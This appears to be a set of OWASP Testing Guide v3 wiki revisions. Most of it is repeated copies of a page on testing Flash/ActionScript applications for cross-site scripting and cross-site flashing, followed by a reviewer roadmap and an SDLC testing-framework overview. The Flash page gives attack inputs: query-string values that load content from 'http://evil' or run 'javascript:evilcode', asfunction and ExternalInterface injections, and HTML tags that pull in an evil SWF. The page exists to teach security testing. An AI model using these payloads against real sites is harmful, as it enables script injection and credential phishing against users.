beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a
SWF file instead of opening a URL..." (Adobe.com)

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an A tag or a IMG tag could be
injected resulting in modifying the GUI or XSS the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call as function: <a href='asfunction:function,arg' >

* Call SWF public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call native static as function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

IMG tag could be used as well:

<img src='http://evil/evil.swf' >
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player XSS is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.

XSF Occurs when from different domains:

* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:
** GetVariable: access to flash public and static object from javascript as a string.
** SetVariable: set a static or public flash object to a new string value from javascript.
* Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-10T07:25:42Z

Namn: /* Xss */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a
SWF file instead of opening a URL..." (Adobe.com)

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an a tag or a img tag could be
injected resulting in modifying the GUI or Xss the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call AS function: <a href='asfunction:function,arg' >

* Call Swf public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call Native Static AS Function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

Img tag could be used as well:

* <img src='http://evil/evil.swf' >
* <img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.

XSF Occurs when from different domains:

* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:
** GetVariable: access to flash public and static object from javascript as a string.
** SetVariable: set a static or public flash object to a new string value from javascript.
* Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-10T07:16:52Z

Namn: /* Description of the Issue */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

"You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a SWF file
instead of opening a URL..." ( Adobe.com )

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an a tag or a img tag could be
injected resulting in modifying the GUI or Xss the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call AS function: <a href='asfunction:function,arg' >

* Call Swf public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call Native Static AS Function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

Img tag could be used as well:

* <img src='http://evil/evil.swf' >
* <img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.

XSF Occurs when from different domains:

* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:
** GetVariable: access to flash public and static object from javascript as a string.
** SetVariable: set a static or public flash object to a new string value from javascript.
* Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

OWASP Testing Project v3 Review Roadmap

2008-09-10T07:12:47Z

Namn:

'''This page track all the update to the Testing Guide v3 during the Reviewing phase.''' 

In particular the focus is: 
- Review the content of each article 
- Review the english sintax 
- no "attacker", better "tester" 
- no "we describe", but "it is described" 

Official Testing Guide Reviewers are:
* Nam Nguyen
* Kevin R.Fuller
* if you want to review it add your name please and keep track of updating

'''Nam Review:'''
----
Aug 31, 2008
* Appendix D
* Appendix C
* Appendix B
* Appendix A
* Chapter 5
** [[How to write the report of the testing]]
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''
* Chapter 4
** Section 4.11 [[Testing for AJAX Vulnerabilities]]
*** There are mentioning of "attackers" but I think they are fine.
*** The subsection on Memory leaks is not complete.
** Section 4.11 [[Testing for AJAX]]
*** The subsection "Intercepting and Debugging JS code with Browsers" is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.

Sep 02, 2008
* Chapter 4
** Section 4.10
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?

Sep 04, 2008
* Chapter 4
** Section 4.9
** Section 4.8
*** I'm not sure if format string could be classified under subsection 4.8.14 "Buffer overflow testing".
*** Subsecion 4.8.3: Incomplete
*** Subsection 4.8.4: Incomplete
*** Subsection 4.8.5: What is "data-plane input"?

Sep 06, 2008
* Chapter 4
** Section 4.8

Sep 07, 2008
* Chapter 4
** Section 4.7
** Section 4.6
*** Subsection 4.6.1: "Review code for path traversal" does not exist in the Code Review Guide, or the link the broken.
** Section 4.5

Sep 10, 2008
* Chapter 4
** Section 4.4
** Section 4.3
** Section 4.2
** Section 4.1
* Chapter 3
* Chapter 2
* Chapter 1
** [[Testing Guide Frontispiece]] still shows v2 editors and reviewers
** [[About The Open Web Application Security Project]] The link to the printed edition of the book is invalid. This page is a generally shared wiki page among all projects.

'''Kevin Review:'''
----
Date 
articles reviewed 
Date 
articles reviewed 
Questions: (Mat will answer it)

The OWASP Testing Framework

2008-09-10T07:01:01Z

Namn: /* Phase 2B: Design and Architecture Review */

{{Template:OWASP Testing Guide v3}}

==Overview==

This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.

This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.

It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (http://www.cybercrime.gov/cccases.html) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.

With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.

Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.

As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.

This testing framework consists of the following activities that should take place:

* Before Development Begins
* During Definition and Design
* During Development
* During Deployment
* Maintenance and Operations

==Phase 1: Before Development Begins==

Before application development has started:

* Test to ensure that there is an adequate SDLC where security is inherent
* Test to ensure that the appropriate policy and standards are in place for the development team
* Develop the metrics and measurement criteria

===Phase 1A: Review Policies and Standards===

Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow.

''People can only do the right thing, if they know what the right thing is.''' '''''

If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.

===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===

Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.

==Phase 2: During Definition and Design==

===Phase 2A: Review Security Requirements===

Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions.

For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible.

When looking for requirements gaps, consider looking at security mechanisms such as:

* User Management (password reset etc.)
* Authentication
* Authorization
* Data Confidentiality
* Integrity
* Accountability
* Session Management
* Transport Security
* Tiered System Segregation
* Privacy

===Phase 2B: Review Design and Architecture===

Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.

Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).

If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2C: Create and Review UML Models===

Once the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.

===Phase 2D: Create and Review Threat Models===

Armed with design and architecture reviews, and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.

==Phase 3: During Development==

Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or in other cases, issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.

===Phase 3A: Code Walkthroughs===

The security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level walkthrough of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.

The purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.

===Phase 3B: Code Reviews===

Armed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.

Static code reviews validate the code against a set of checklists, including:

* Business requirements for availability, confidentiality, and integrity.
* OWASP Guide or Top 10 Checklists (depending on the depth of the review) for technical exposures.
* Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or Microsoft Secure Coding checklists for ASP.NET.
* Any industry specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO 17799, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.
In terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method, and rely least on the skill of the reviewer, within reason. However, they are not a silver bullet, and need to be considered carefully within a full-spectrum testing regime.

For more details on OWASP checklists, please refer to [[OWASP Guide Project|OWASP Guide for Secure Web Applications]], or the latest edition of the [[OWASP Top 10]].

==Phase 4: During Deployment==

===Phase 4A: Application Penetration Testing===

Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully, this is the case, but penetration testing the application after it has been deployed provides a last check to ensure that nothing has been missed.

===Phase 4B: Configuration Management Testing===

The application penetration test should include the checking of how the infrastructure was deployed and secured. While the application may be secure, a small aspect of the configuration could still be at a default install stage and vulnerable to exploitation.

==Phase 5: Maintenance and Operations==

===Phase 5A: Conduct Operational Management Reviews===

There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.

===Phase 5B: Conduct Periodic Health Checks===

Monthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.

===Phase 5C: Ensure Change Verification===

After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that, as part of the change management process, the change is checked to ensure that the level of security hasn’t been affected by the change.

==A Typical SDLC Testing Workflow==

The following figure shows a typical SDLC Testing Workflow.

[[Image: Typical SDLC Testing Workflow.gif]]

The OWASP Testing Framework

2008-09-10T07:00:01Z

Namn: /* Phase 2A: Security Requirements Review */

{{Template:OWASP Testing Guide v3}}

==Overview==

This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.

This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.

It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (http://www.cybercrime.gov/cccases.html) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.

With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.

Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.

